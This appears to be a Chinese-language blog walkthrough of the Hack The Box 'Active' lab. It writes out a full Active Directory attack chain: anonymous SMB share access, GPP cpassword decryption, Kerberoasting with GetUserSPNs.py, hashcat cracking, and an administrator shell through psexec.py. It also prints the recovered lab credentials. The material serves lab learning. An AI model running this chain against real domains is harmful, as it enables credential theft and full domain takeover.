freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

AD-Active详解
2022-10-13 23:57:13
所属地 河南省

0x00 前言

本小白最近在学域渗透,决定把Hack The Box的Active Directory 101 系列域渗透靶机打完,并详细记录当中用到的工具、知识点及其背后的原理。本篇文章是该系列的第三篇,靶机名字为Active

0x01 信息搜集

首先我们使用nmap来进行端口与服务的发现

Nmap scan report for 10.10.10.100
Host is up (0.41s latency).
Not shown: 65512 closed ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-10-10 14:36:34Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
49170/tcp open  msrpc         Microsoft Windows RPC
49171/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -2s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-10-10T14:37:41
|_  start_date: 2022-10-10T13:18:30

通过nmap以上列出的结果来看这是一台 Windows 主机,我将尝试SMB枚举

我们可以看到smbmap非常清楚地给出了这个结果,结果显示我在没有身份验证的情况下对复制共享目录具有读取权限:

root@kali2020:~/HTB/active# smbmap -H 10.10.10.100
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445        Name: 10.10.10.100
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    NO ACCESS
        NETLOGON                                                NO ACCESS
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS
        Users                                                   NO ACCESS

0x02 GPP密码解密

每当创建新的组策略首选项 (GPP) 时,都会在 SYSVOL 共享中创建一个带有该配置数据的 xml 文件,包括与 GPP 关联的任何密码。为安全起见,Microsoft将密码存储为cpassword. 但随后微软在 MSDN 上公布了密钥!,微软在 2014 年发布了一个补丁,阻止管理员将密码输入 GPP。但是该补丁对已经存在的这些易破解密码没有任何作用。

接着我使用smbclient尝试访问该目录的文件,我注意到一个名为Groups.xml的文件

smbclient //10.10.10.100/Replication -U ""%""

图片.png

图片.png

通过查看该文件的内容,我发现了SC_TGS用户及其GPP密码

active.htb\SVC_TGS
edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

由于密钥是已知的,所以我们可以解密密码。Kali上的工具gpp-decrypt可以用来解密:

gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

图片.png

现在我们拿到了一个域用户的账号和明文密码,接下来我们再来尝试通过该用户枚举一下SMB

active.htb\SVC_TGS
GPPstillStandingStrong2k18
crackmapexec smb 10.10.10.100 -u "active.htb\SVC_TGS" -p "GPPstillStandingStrong2k18" --shares

图片.png

smbclient //10.10.10.100/Users -U SVC_TGS%GPPstillStandingStrong2k18

图片.png

把user.txt下载到本地然后即可拿到普通用户的flag

0x03 kerberoasting攻击

基础概念补充:Kerberoasting攻击中涉及的相关概念:https://rootdse.org/posts/active-directory-security-2/

**kerberoasting攻击原理:**
	在开始 Kerberoasting 之前,让我们先了解一下这种攻击的实际工作原理。Kerberoasting 是流行的 AD Kerberos 攻击之一,Kerberoasting 是一种允许攻击者窃取使用 RC4 加密的 KRB_TGS 票证的技术,以暴力破解应用程序服务哈希以提取其密码。 
	在此攻击中,从Active Directory中提取服务帐户的凭据哈希并离线破解。我们需要确定哪些帐户是kerberoastable,然后作为经过身份验证的用户,我们可以为目标服务帐户请求服务票证  (TGS),而无需向运行服务的目标服务器发送任何流量。 如下图所示,kerberoasting 专注于从 KDC 请求 TGS。  此攻击仅涉及下图中突出显示的步骤 3 和 4。

图片.png

我们可以使用Impacket 中的脚本GetUserSPNs.py来获取与SVC_TGS用户帐户相关联的服务的用户名列表,并且我们得到了一张服务票证 (TGS)

GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18

图片.png

接下来我们把获取到的TGS票证,保存到一个名为hash的文件中,然后使用hashcat进行破解

hashcat --example-hashes |grep krb5tgs -A5 -B5           #查看我们破解该票据要调用的模块
hashcat -m 13100 hash /root/rockyou.txt --force         #开始破解

图片.png

通过上图可以看到此时我们已经拿到了管理员的明文密码Ticketmaster1968

我们可以使用 Impacket 工具包中的psexec.py拿到一个远程shell

psexec.py Administrator:Ticketmaster1968@10.10.10.100

图片.png

0x04 总结

本篇文章到这里就结束了,这里做个简单的总结,首先通过对SMB枚举发现了我们发现在没有身份验证的情况下对复制共享目录具有读取权限,然后发现了Group.xml文件中的GPP密码,通过对GPP密码的解密,我们得到了SVC_TGS账号的明文密码,然后又通过该用户的身份进行了kerberoasting攻击,并使用hashcat成功破解了该票据,拿到了Administrator用户的明文密码,又通过psexec成功登陆到了用户Administrator上拿到了管理员的权限。

0x05参考资料

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN

https://rootdse.org/posts/active-directory-security-2/

# 渗透测试 # 域渗透 # GPP # SMB共享 # Kerberoast
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录